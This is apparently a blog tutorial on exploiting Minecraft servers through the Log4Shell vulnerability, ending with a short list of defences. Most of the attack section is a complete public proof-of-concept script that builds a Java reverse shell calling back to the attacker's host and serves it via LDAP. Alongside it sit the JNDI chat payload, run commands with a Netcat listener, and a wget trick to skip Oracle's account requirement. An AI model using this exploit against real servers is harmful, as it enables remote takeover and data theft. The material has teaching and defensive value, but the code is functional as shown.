Exploiting Minecraft Servers (Log4j)

Software Sinner
7 min readMar 5, 2024

Log4j is a widely used logging library in Java applications, including Minecraft servers. In December 2021, a critical vulnerability, dubbed “Log4Shell” or CVE-2021–44228, was discovered in Log4j. This vulnerability allowed attackers to execute arbitrary code remotely, leading to potential server compromises.

In the context of Minecraft servers, attackers exploited this vulnerability to inject malicious code into servers, allowing them to gain unauthorized access, steal sensitive data, or disrupt gameplay. I will be walking you through some examples of how this can be performed from a local perspective.

Attackers will start by probing ports on the server using Nmap or any port scanning tool to see if port 25565 is open along with an associated version of the service. This port is commonly associated with Minecraft servers and used for communication between Minecraft clients and servers. When players connect to a Minecraft server, their game client communicates with the server through this port to send and receive game data, including player movements, actions, and world updates.

Example output from a port scan:

Nmap scan report for <target IP>
Host is up, received user-set (0.077s latency).
Scanned at 2024-02-12 10:49:30 PST for 144s
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
25565/tcp open minecraft syn-ack ttl 127 Minecraft 1.16.5 (Protocol: 127, Users: 1/100)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).

The next step for the attacker is to then find a tool that they can connect to the Minecraft server and start their evil deeds 😈.

In this demonstration, I will show you a tool called tlauncher on my kali Linux machine.

https://tlauncher.org/

sudo unzip <name of file>
sudo java -jar TLauncher-*.jar

The version is very important when targeting the Minecraft server and there is an option in the tool to select a version to work with.

If you are on the same local network as the target server you can scan to find the server which in this case I was. In a real-world scenario, the target server would have to be externally facing with that port open to the world in that case the IP has to be connected manually using “Direct Connection” or “Add server”.

Now the attacker would be connected to a game session and could wreak havoc by just opening the text chat window and hitting the “T” key and this is where the malicious payload is entered.

Log4j has so many exploits out there but this one I will show you worked for me in this demonstration.

sudo git clone https://github.com/kozmer/log4j-shell-poc

Let's do a quick breakdown of what the exploit is doing because that's what every good hacker does to understand the tools they are using... Stay away SKIDDIES!

#!/usr/bin/env python3

import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()


def generate_payload(userip: str, lport: int) -> None:
program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {

public Exploit() throws Exception {
String host="%s";
int port=%d;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
pe=p.getErrorStream(),
si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
""" % (userip, lport)

# writing the exploit to Exploit.java file

p = Path("Exploit.java")

try:
p.write_text(program)
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
except OSError as e:
print(Fore.RED + f'[-] Something went wrong {e}')
raise e
else:
print(Fore.GREEN + '[+] Exploit java class created success')


def payload(userip: str, webport: int, lport: int) -> None:
generate_payload(userip, lport)

print(Fore.GREEN + '[+] Setting up LDAP server\n')

# create the LDAP server on new thread
t1 = threading.Thread(target=ldap_server, args=(userip, webport))
t1.start()

# start the web server
print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")
httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
httpd.serve_forever()


def check_java() -> bool:
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
return exit_code == 0


def ldap_server(userip: str, lport: int) -> None:
sendme = "${jndi:ldap://%s:1389/a}" % (userip)
print(Fore.GREEN + f"[+] Send me: {sendme}\n")

url = "http://{}:{}/#Exploit".format(userip, lport)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])


def main() -> None:
init(autoreset=True)
print(Fore.BLUE + """
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
""")

parser = argparse.ArgumentParser(description='log4shell PoC')
parser.add_argument('--userip',
metavar='userip',
type=str,
default='localhost',
help='Enter IP for LDAPRefServer & Shell')
parser.add_argument('--webport',
metavar='webport',
type=int,
default='8000',
help='listener port for HTTP port')
parser.add_argument('--lport',
metavar='lport',
type=int,
default='9001',
help='Netcat Port')

args = parser.parse_args()

try:
if not check_java():
print(Fore.RED + '[-] Java is not installed inside the repository')
raise SystemExit(1)
payload(args.userip, args.webport, args.lport)
except KeyboardInterrupt:
print(Fore.RED + "user interrupted the program.")
raise SystemExit(0)


if __name__ == "__main__":
main()
  1. Importing Libraries: The script imports necessary libraries such as argparse, colorama, subprocess, threading, Path, os, and http.server.
  2. Defining Constants: It sets a constant variable CUR_FOLDER to the parent directory of the script.
  3. Generating Payload: The function generate_payload dynamically generates a Java class (Exploit.java) containing code to exploit the Log4j vulnerability. It then compiles the Java code using the Java Development Kit (javac).
  4. Setting Up Payload: The payload function initiates the payload generation, sets up an LDAP server on a separate thread using ldap_server function, and starts a web server to serve the exploit payload.
  5. Checking Java Installation: The check_java function verifies whether Java is installed on the system by attempting to run it and checking the exit code.
  6. Starting LDAP Server: The ldap_server function sets up an LDAP server that responds with a crafted LDAP reference containing the user's IP and a port number.
  7. Main Function: The main function initializes the program, parses command-line arguments (user IP, web port, and listener port), checks for Java installation, and starts the payload generation and server setup.
  8. Execution: Finally, the script executes the main function if it is directly run as the main script.

As a prerequisite I needed to download a specific version of JDK they require you to make an account but you can bypass that with this command:

sudo wget -c — no-cookies — no-check-certificate — header “Cookie: oraclelicense=accept-securebackup-cookie” https://download.oracle.com/otn/java/jdk/8u20-b26/jdk-8u20-linux-x64.tar.gz

Looking at the POC I noticed that it's trying to run /bin/bash but the machine we are targeting I was targeting is a Windows one. I changed String cmd= to cmd.exe and saved it.

The next step was to execute the exploit script along with a Netcat listener in another terminal window to grab the reverse shell and paste my payload into the Minecraft game chat window.

sudo python3 poc.py --userip <your attack ip here> --webport 80 --lport 4444

Then I got a shell on the Windows server and from there, it was pure destruction depending on how the target server locked down their local access. Attackers will start to look for data or anything sensitive they can exfiltrate.

How to prevent this?

  1. Update Log4j: Regularly update Log4j to the latest patched version to mitigate known vulnerabilities. Stay informed about security advisories and apply patches promptly.
  2. Firewall Configuration: Configure firewalls to restrict access to ports used by Minecraft servers, including Port 25565. Limit incoming connections only to trusted IP addresses.
  3. Network Segmentation: Implement network segmentation to isolate Minecraft servers from critical infrastructure. This helps contain potential attacks and limit their impact.
  4. Access Control: Enforce strict access controls for server administration and player accounts. Use strong, unique passwords and consider implementing multi-factor authentication (MFA) for added security.
  5. Intrusion Detection/Prevention Systems (IDS/IPS): Deploy IDS/IPS solutions to monitor network traffic for suspicious activities or known attack patterns. Configure them to detect and block Log4j-related exploit attempts.
  6. Logging and Monitoring: Enable robust logging mechanisms to track server activities and detect anomalies. Monitor logs for signs of unauthorized access or unusual behavior

--

--